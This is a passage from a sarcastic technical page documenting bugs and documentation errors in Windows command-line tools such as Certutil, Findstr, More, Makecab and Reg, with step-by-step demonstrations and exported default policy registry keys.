        0000  3f 3f 47 3f 3f 3f 3f 54  3f 3f 3f 3f 3f 3f 3f 3f   ??G????T????????
        0010  3f 53 3f 3f 46 3f 3f 4f  61 df 3f 64 65 3f 3f 3f   ?S??F??Oa.?de???
        0020  3f 3f 3f b5 3f 3f 3f 70  3f 73 74 3f 66 3f 3f 3f   ???.???p?st?f???
        0030  0d 0a                                              ..
    CertUtil: -dump command completed successfully.
    OUCH²: Certutil.exe converts UTF-16LE encoded files to ANSI before it dumps their now destroyed content – a completely braindead approach – and even dares to call this epic failure successful!
  6. Dump the file blunder.txt created in step 2. using the undocumented -encodehex alias /ENCODEHEX verb of the Certutil.exe utility and display the output file:

    CERTUTIL.EXE /ENCODEHEX /F blunder.txt blunder.tmp
    TYPE blunder.tmp
    Input Length = 102
    Output Length = 508
    CertUtil: -encodehex command completed successfully.
    
    0000	ff fe 91 03 92 03 93 03  94 03 95 03 96 03 97 03   ................
    0010	98 03 99 03 9a 03 9b 03  9c 03 9d 03 9e 03 9f 03   ................
    0020	a0 03 a1 03 a3 03 a4 03  a5 03 a6 03 a7 03 a8 03   ................
    0030	a9 03 b1 03 b2 03 b3 03  b4 03 b5 03 b6 03 b7 03   ................
    0040	b8 03 b9 03 ba 03 bb 03  bc 03 bd 03 be 03 bf 03   ................
    0050	c0 03 c1 03 c3 03 c4 03  c5 03 c6 03 c7 03 c8 03   ................
    0060	c9 03 0d 00 0a 00                                  ......
  7. Dump the executable file of the Command Processor, specified by its absolute, fully qualified path name provided in the environment variable COMSPEC:

    CERTUTIL.EXE /DUMP "%COMSPEC%"
    C:\Windows\system32\cmd.exe: Lang 04b00409 (1200.1033)  File 6.1:7601.23403  Product 6.1:7601.23403
    CertUtil: -dump command completed successfully.
    OOPS¹: instead of the expected (hexadecimal) dump, Certutil.exe displays some parts of the VERSIONINFO resource embedded in the Portable Executable file Cmd.exe.
  8. Dump some other executable files located in the system directory %SystemRoot%\System32\, specified by their unqualified name and extension:

    CERTUTIL.EXE /DUMP main.cpl
    CERTUTIL.EXE /DUMP slmgr.vbs
    SET PATHEXT
    main.cpl: Lang 04b00409 (1200.1033)  File 6.1:7601.17514  Product 6.1:7601.17514
    CertUtil: -dump command completed successfully.
    
    CertUtil: -dump command FAILED: 0x80070002 (WIN32: 2 ERROR_FILE_NOT_FOUND)
    CertUtil: The system cannot find the file specified.
    
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    OOPS²: Certutil.exe searches the PATH, but does not evaluate the environment variable PATHEXT!
  9. Finally dump another executable file located in the system directory, specified by just its unqualified name without extension:

    CERTUTIL.EXE /DUMP ntdll
    ntdll: Lang 04b00409 (1200.1033)  File 6.1:7601.24545  Product 6.1:7601.24545
    CertUtil: -dump command completed successfully.
    OOPS³: when no extension is specified, Certutil.exe searches the PATH for DLLs!

Blunder № 83

The documentation for the Findstr command states:
Searches for patterns of text in files.

[…]

findstr [/b] [/e] [/l | /r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/f:<File>] [/c:<String>] [/g:<File>] [/d:<DirList>] [/a:<ColorAttribute>] [/off[line]] <Strings> [<Drive>:][<Path>]<FileName>[ ...]

[…]

Parameter Description
/l Processes search strings literally.
/r Processes search strings as regular expressions. This is the default setting.
/c:<String> Uses the specified text as a literal search string.
/g:<File> Gets search strings from the specified file.
<Strings> Specifies the text to search for in FileName. Required.

Demonstration

Perform the following 2 simple steps to show the blunder.
  1. Create the ASCII text file blunder.c with the following content in an arbitrary, preferable empty directory:

    E
    E_
    e
    e_
  2. Find all lines containing the sign in the file blunder.txt created in step 1.:

    FINDSTR.EXE /C:"€" blunder.txt
    E_
    e_
    OUCH¹: contrary to the highlighted statement of the documentation cited above, the parameter ‹Strings› is not required if one of the parameters /C:‹String› or /G:‹File› is given instead!

    OUCH²: Findstr.exe halluzinates and misinterprets E_ as well as e_ as the sign!

Blunder № 84

The documentation for the More command states:
Displays one screen of output at a time.

[…]

<Command> | more [/c] [/p] [/s] [/t<N>] [+<N>]
more [[/c] [/p] [/s] [/t<N>] [+<N>]] < [<Drive>:][<Path>]<FileName>
more [/c] [/p] [/s] [/t<N>] [+<N>] [<Files>]

Demonstration

Perform the following 4 simple steps to show the blunder.
  1. Create the UTF-16LE encoded text file blunder.txt containing the Cyrillic alphabet in capital and small letters in an arbitrary, preferable empty directory:

    ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
    ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
    Note: the file blunder.txt contains 99 Unicode code points in 198 bytes – a leading Byte Order Mark U+FEFF, a first line of 47 capital letters from U+0401 to U+042F, followed by an intermediate CR/LF pair, a second line of 47 small letters from U+0451 to U+045F and U+0430 to U+044F, followed by a trailing CR/LF pair.
  2. Display the file blunder.txt created in step 1. with the internal Type command:

    TYPE blunder.txt
    ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
    ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
  3. Display the file blunder.txt created in step 1. with the More utility:

    MORE.COM blunder.txt
    ???????????????????????????????????????????????
    ???????????????????????????????????????????????
    OUCH: More.com converts files from UTF-16LE to ANSI before it displays their now destroyed content – a completely braindead approach!
  4. Display the file blunder.txt created in step 1. a second time:

    TYPE blunder.txt | MORE.COM
    ????????????????????????????????????????????????
    ????????????????????????????????????????????????

Blunder № 85

The documentation for the Makecab command specifies:
Package existing files into a cabinet (.cab) file.
makecab [/v[n]] [/d var=‹value› ...] [/l ‹dir›] ‹source› [‹destination›]
makecab [/v[‹n›]] [/d var=‹value› ...] /f ‹directives_file› […]

Demonstration

  1. Start the Command Processor Cmd.exe, then execute the following command lines:

    SET TMP=NUL:
    MAKECAB.EXE "%COMSPEC%"
    Cabinet Maker - Lossless Data Compression Tool
    
    [Wed Apr 1 12:34:56] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2
    [Wed Apr 1 12:34:58] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2
    [Wed Apr 1 12:35:00] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2
    …
    ^C
    OUCH: proper error handling is most obviously (next to) impossible for Microsoft’s developers – an endless repetition using the same invalid filename, indicated with Win32 error code 123 alias ERROR_INVALID_NAME, is useless utter nonsense!

Blunder № 86

The TechNet article Reg add specifies:
Adds a new subkey or entries from the registry.
reg add <KeyName> [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f]
Parameter Description
‹KeyName› Specifies the full path of the subkey or entry to be added. To specify a remote computer, include the computer name (in the format \\<ComputerName>\) as part of the KeyName. Omitting \\ComputerName\ causes the operation to default to the local computer. The KeyName must include a valid root key. Valid root keys for the local computer are: HKLM, HKCU, HKCR, HKU, and HKCC. If a remote computer is specified, valid root keys are: HKLM and HKU.
/v <ValueName> Specifies the name of the registry entry to be added under the specified subkey.
/f Adds the registry entry without prompting for confirmation.
/? Displays help for reg add at the command prompt.
The TechNet article Reg delete specifies:
Deletes a subkey or entries from the registry.
Reg delete ‹KeyName› [{/v ‹ValueName› | /ve | /va}] [/f]
Parameter Description
/f Deletes the existing registry subkey or entry without asking for confirmation.
/? Displays help for reg delete at the command prompt.

Demonstration

  1. Start the Command Processor Cmd.exe, then execute the following command lines:

    REG.EXE ADD HKCU\Environment /V TMP 0<NUL:
    Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? …
    ^C
    OUCH: proper error handling (here: detecting end of file on standard input) is most obviously underestimated and not deemed necessary in Redmond!

    Note: the demonstration of this blunder beginner’s error with other subcommands of the Reg utility is left as an exercise to the reader.

Blunder № 87

The TechNet article Reg export specifies:
Copies the specified subkeys, entries, and values of the local computer into a file for transfer to other servers.
The TechNet article Reg import specifies:
Copies the contents of a file that contains exported registry subkeys, entries, and values into the registry of the local computer.
The MSKB article 310516 specifies the format and syntax of registry editor script files that is missing in the documentation referenced above, but is awfully bad!

Note: especially the notation =hex(2):‹comma separated list of hexadecimal values› required for REG_EXPAND_SZ values, =hex(7):‹comma separated list of hexadecimal values› required for REG_MULTI_SZ values and =hex(11):‹comma separated list of 8 hexadecimal values› required for REG_QWORD alias REG_QWORD_LITTLE_ENDIAN values is user-unfriendly.

Demonstration

Perform the following 5 (plus 1) simple steps to show the blunder.
  1. Create the text file blunder.reg with the following content in an arbitrary, preferable empty directory:

    REGEDIT4
    
    [HKEY_CURRENT_USER\Blunder]
    ""="Blunder"
    "none"=hex(0):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
    "string"=hex(1):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,00
    "string"="WINDOWS\0NT"
    "expand"=hex(2):25,77,69,6e,64,69,72,25,00
    "expand"=expand:"%WINDIR%"
    "binary"=hex(3):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
    "dword"=dword:-1
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "qword"=hex(b):01,23,45,67,89,ab,cd,ef
    "qword"=qword:0123456789abcdef
    "link"=hex(6):
    "multi"=hex(7):57,69,6e,64,6f,77,73,00,4e,54,00,00
    "multi"=multi:"WINDOWS","NT"
    ''="''"
    @='@'
  2. Import the registry entries from the script file blunder.reg into the Registry:

    REG.EXE IMPORT blunder.reg
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
    OUCH¹: despite the multiple syntax errors in the registry script file blunder.reg created in step 1., the Registry Console Tool Reg.exe yields an explicit success message!

    OOPS: instead of the @ an empty string can be used as registry value name to specify the (unnamed) default entry of a registry key.

  3. Query the imported registry entries:

    REG.EXE QUERY HKEY_CURRENT_USER\Blunder
    ECHO %ERRORLEVEL%
    HKEY_CURRENT_USER\Blunder
        (Default)    REG_SZ    Blunder
        none    REG_NONE    000102030405060708090A0B0C0D0E0F
        string    REG_SZ    Windows
        expand    REG_EXPAND_SZ    %windir%
        dword_little_endian    REG_DWORD    0x67452301
        dword_big_endian    REG_DWORD_BIG_ENDIAN    0x67452301
        qword    REG_QWORD    0xefcdab8967452301
        link    REG_LINK    
        multi    REG_MULTI_SZ    Windows\0NT
    
    0
    OUCH²: thanks to the U+0000 alias NUL embedded in the value of the entry named string, the Registry Console Tool Reg.exe fails to display the whole string Windows\0NT\0!

    OUCH³: it also fails to distinguish big endian from little endian in its output!

  4. Export the just imported registry entries from the registry key HKEY_CURRENT_USER\Blunder to the file blunder.txt:

    REG.EXE EXPORT HKEY_CURRENT_USER\Blunder blunder.txt
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
  5. Display the exported registry key and its entries:

    TYPE blunder.txt
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Blunder]
    @="Blunder"
    "none"=hex(0):00,01,02,03,04,05,06,07,08,09,0a,0b,0c,0d,0e,0f
    "string"="Windows"
    "expand"=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,00,00
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "link"=hex(6):
    "multi"=hex(7):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,\
      00,00,00
    Note: indicated by the tag line Windows Registry Editor Version 5.00, the Registry Console Tool Reg.exe exports in UTF-16LE encoding – both the file and the (string) values.
  6. Delete the registry key HKEY_CURRENT_USER\Blunder with all its entries:

    REG.EXE DELETE HKEY_CURRENT_USER\Blunder /F
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
Note: a repetition of steps 2., 4. and 6. using the (graphical) Registry Editor RegEdit.exe instead of the Registry Console Tool Reg.exe is left as an exercise to the reader.

Blunder № 88

The MSKB article Insert ASCII or Unicode Latin-based symbols and characters states:
To insert a Unicode character, type the character code, press ALT, and then press X. For example, to type a dollar symbol ($), type 0024, press ALT, and then press X.
The MSKB articles Keyboard shortcuts for international characters and Keyboard shortcuts to add language accent marks in Word and Outlook state:
To insert this Press
The Unicode character for the specified Unicode (hexadecimal) character code The character code, ALT+X
For example, to insert the euro currency symbol €, type 20AC, and then hold down the ALT key and press X.
Contrary to the MSKB articles cited above, the hexadecimal Unicode character code doesn’t need to be typed before the Alt X key combination, and this function is supported in all programs which use an arbitrary Rich Edit Control, not just in Microsoft Office applications! ,

Demonstration

Perform the following 2 simple steps to show the proper use of the Alt X key combination.
  1. Create the text file blunder.txt with the following content in an arbitrary, preferable empty directory:

    24
    a9
    ae
    3b1
    3c9
    20ac
    2122
    2190
    2191
    2192
    2193
    2194
  2. Open the text file blunder.txt created in step 1. with WordPad.exe, then place the cursor at the end of each line and press the Alt X key combination twice – first it replaces the 2, 3 or 4 characters left to the cursor with the $, ©, ®, α, ω, €, ™, ←, ↑, →, ↓ respectively ↔ symbol, second it replaces each symbol with its (uppercase) hexadecimal Unicode character code.

Note: a repetition of this demonstration with other programs which use a Rich Edit Control is left as an exercise to the reader; if a symbol is not replaced with its (uppercase) Unicode character code there, try the Alt Shift X key combination instead.

Blunder № 89

Policies are supposed to be reserved for use by (local) administrators, they are not supposed to be (ab)used by software vendors.

Despite this well-known rule, Microsoft but ships the system images of Windows Vista and later versions with a bunch of Policies set only in the Registry – the subdirectories %SystemRoot%\System32\GroupPolicy\Machine\ and %SystemRoot%\System32\GroupPolicy\User\ with the registry policy files Registry.pol where these registry entries are supposed to be stored are missing!

Due to this omission blunder the Local Group Policy Editor and the Local Security Policy snap-in of the Microsoft Management Console show these Policies as not configured!

Also missing are the archive files NTUser.pol in the directories %ALLUSERSPROFILE% alias %ProgramData% for the machine and %USERPROFILE% for each user where the added as well as the original, now overwritten or removed registry entries are supposed to be saved for restoration and roll-back.

The MSDN article Registry Policy File Format provides some details.

Demonstration

Perform the following 5 simple steps on a fresh installation of Windows NT to display the policy registry keys and entries present in the system image or set during the installation.

Note: Windows 10 20H2 was used here.

  1. Start the Command Processor Cmd.exe, then execute the following command lines to export the registry keys HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies and HKEY_CURRENT_USER\Software\Policies of an arbitrary user account and display them:

    REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" blunder.reg
    TYPE blunder.reg
    REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Policies" blunder.reg /Y
    TYPE blunder.reg
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]
    
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
    "NoDriveTypeAutoRun"=dword:00000091
    
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Policies]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CloudContent]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
    
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\DataCollection]
    
    [HKEY_CURRENT_USER\Software\Policies\Power]
    
    [HKEY_CURRENT_USER\Software\Policies\Power\PowerSettings]
  2. Export the respective registry keys of the builtin NT AUTHORITY\SYSTEM alias LocalSystem user account and display them:

    REG.EXE EXPORT "HKEY_USERS\S-1-5-18\Software\Policies" blunder.reg /Y
    TYPE blunder.reg
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_USERS\S-1-5-18\Software\Policies]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\Certificates]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CRLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CTLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\Certificates]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CRLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CTLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
    
    [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
  3. Export the respective registry keys of the NT AUTHORITY\LOCAL SERVICE alias LocalService, user account and display them:

    REG.EXE EXPORT "HKEY_USERS\S-1-5-19\Software\Policies" blunder.reg /Y
    TYPE blunder.reg
    Note: this operation requires administrative access rights!
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_USERS\S-1-5-19\Software\Policies]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Power]
    
    [HKEY_USERS\S-1-5-19\Software\Policies\Power\PowerSettings]
  4. Export the respective registry keys of the NT AUTHORITY\NETWORK SERVICE alias NetworkService, user account and display them:

    REG.EXE EXPORT "HKEY_USERS\S-1-5-20\Software\Policies" blunder.reg /Y
    TYPE blunder.reg
    Note: this operation requires administrative access rights!
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_USERS\S-1-5-20\Software\Policies]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Power]
    
    [HKEY_USERS\S-1-5-20\Software\Policies\Power\PowerSettings]
  5. Export the registry keys HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies and HKEY_LOCAL_MACHINE\SOFTWARE\Policies of the machine and display them:

    REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" blunder.reg /Y
    TYPE blunder.reg
    REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Policies" blunder.reg /Y
    TYPE blunder.reg
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop]
    "NoAddingComponents"=dword:00000001
    "NoComponents"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments]
    "ScanWithAntiVirus"=dword:00000003
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection\Users]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
    "ForceActiveDesktopOn"=dword:00000000
    "NoActiveDesktop"=dword:00000001
    "NoActiveDesktopChanges"=dword:00000001
    "NoRecentDocsHistory"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
    "{1FD49718-1D00-4B19-AF5F-070AF6D5D54C}"="1"
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum]
    "{0DF44EAA-FF21-4412-828E-260A8728E7F1}"=dword:00000020
    "{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}"=dword:40000021
    "{BDEADF00-C265-11D0-BCED-00A0C90AB50F}"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]
    "CountryCode"="EN"
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
    "ConsentPromptBehaviorAdmin"=dword:00000005
    "ConsentPromptBehaviorUser"=dword:00000003
    "DSCAutomationHostEnabled"=dword:00000002
    "EnableCursorSuppression"=dword:00000001
    "EnableFullTrustStartupTasks"=dword:00000002
    "EnableInstallerDetection"=dword:00000001
    "EnableLUA"=dword:00000001
    "EnableSecureUIAPaths"=dword:00000001
    "EnableUIADesktopToggle"=dword:00000000
    "EnableUwpStartupTasks"=dword:00000002
    "EnableVirtualization"=dword:00000001
    "PromptOnSecureDesktop"=dword:00000001
    "SupportFullTrustStartupTasks"=dword:00000001
    "SupportUwpStartupTasks"=dword:00000001
    "ValidateAdminCodeSignatures"=dword:00000000
    "dontdisplaylastusername"=dword:00000000
    "legalnoticecaption"=""
    "legalnoticetext"=""
    "scforceoption"=dword:00000000
    "shutdownwithoutlogon"=dword:00000001
    "undockwithoutlogon"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\UIPI\Clipboard\ExceptionFormats]
    "CF_BITMAP"=dword:00000002
    "CF_DIB"=dword:00000008
    "CF_DIBV5"=dword:00000011
    "CF_OEMTEXT"=dword:00000007
    "CF_PALETTE"=dword:00000009
    "CF_TEXT"=dword:00000001
    "CF_UNICODETEXT"=dword:0000000d
    
    The operation completed successfully.
    
    Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Peernet]
    "Disabled"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed]
    
